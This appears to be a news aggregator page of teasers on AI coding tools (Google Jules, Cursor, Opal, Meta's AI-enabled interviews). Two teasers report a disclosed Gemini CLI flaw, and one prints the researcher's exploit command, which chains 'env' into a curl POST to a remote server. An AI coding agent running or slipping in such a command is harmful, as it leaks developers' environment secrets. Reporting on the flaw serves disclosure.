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Google’s AI coding agent Jules is now out of beta

Google’s AI coding agent Jules is now out of beta

Image Credits:Jagmeet Singh / TechCrunch Google on Wednesday launched its AI coding agent, Jules, out of beta, just over two months after its public preview debut in May. Powered by Gemini 2.5 Pro, Jules is an asynchronous, agent-based coding tool that integrates with GitHub, clones codebases into Google Cloud virtual machines, and uses AI to fix or update code while …

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Google’s AI coding agent Jules is now out of beta

Google’s AI coding agent Jules is now out of beta

Google on Wednesday launched its AI coding agent, Jules, out of beta, just over two months after its public preview debut in May. Powered by Gemini 2.5 Pro, Jules is an asynchronous, agent-based coding tool that integrates with GitHub, clones codebases into Google Cloud virtual machines, and uses AI to fix or update code while developers focus on other tasks. …

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Anysphere CEO Michael Truell on Cursor and the race to adopt AI coding

Anysphere CEO Michael Truell on Cursor and the race to adopt AI coding

Hello, and welcome to Decoder! This is Casey Newton, founder and editor of the Platformer newsletter and cohost of the Hard Fork podcast. I’ll be guest hosting the next few episodes of Decoder while Nilay is out on parental leave, and I’m very excited for what we have planned. If you’ve followed my work at all, particularly when I was …

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Flaw in Gemini CLI coding tool could allow hackers to run nasty commands

Flaw in Gemini CLI coding tool could allow hackers to run nasty commands

“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: "grep install README.md; ; env | curl --silent -X POST --data-binary @- http://remote.server:8083 Cox took the exploit further. …

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Meta Is Going to Let Job Candidates Use AI During Coding Tests

Meta Is Going to Let Job Candidates Use AI During Coding Tests

Meta told employees that it is going to allow some coding job candidates to use an AI assistant during the interview process, according to internal Meta communications seen by 404 Media. The company has also asked existing employees to volunteer for a “mock AI-enabled interview,” the messages say. It’s the latest indication that Silicon Valley giants are pushing software engineers …

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Meta Is Going to Let Job Candidates Use AI During Coding Tests

Meta Is Going to Let Job Candidates Use AI During Coding Tests

This article was produced with support from WIRED. Meta told employees that it is going to allow some coding job candidates to use an AI assistant during the interview process, according to internal Meta communications seen by 404 Media. The company has also asked existing employees to volunteer for a “mock AI-enabled interview,” the messages say.  It’s the latest indication that  Silicon …

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Flaw in Gemini CLI AI coding assistant allowed stealthy code execution

Flaw in Gemini CLI AI coding assistant allowed stealthy code execution

A vulnerability in Google’s Gemini CLI allowed attackers to silently execute malicious commands and exfiltrate data from developers’ computers using allowlisted programs. The flaw was discovered and reported to Google by the security firm Tracebit on June 27, with the tech giant releasing a fix in version 0.1.14, which became available on July 25. Gemini CLI, first released on June 25, …

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You Can Try Google’s New ‘Vibe Coding’ App For Free Right Now

You Can Try Google’s New ‘Vibe Coding’ App For Free Right Now

Google has been working to improve its AI coding capabilities alongside other AI companies like OpenAI and Anthropic. Many believe that AI can improve coding workflows, and it has proven time and time again that it can make the job more efficient and easier. Some have even taken to ‘vibe coding,’ which is the …

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Here’s how it can generate apps without coding, with a simple prompt

Here’s how it can generate apps without coding, with a simple prompt

Google is piloting a new AI-powered coding tool called Opal, designed to help users build mini web applications by describing what they want to create in plain language. The tool, now accessible in the United States via Google Labs, is the latest in a growing wave of so-called “vibe-coding” platforms targeting both developers and non-technical users, as reported by TechCrunch. …

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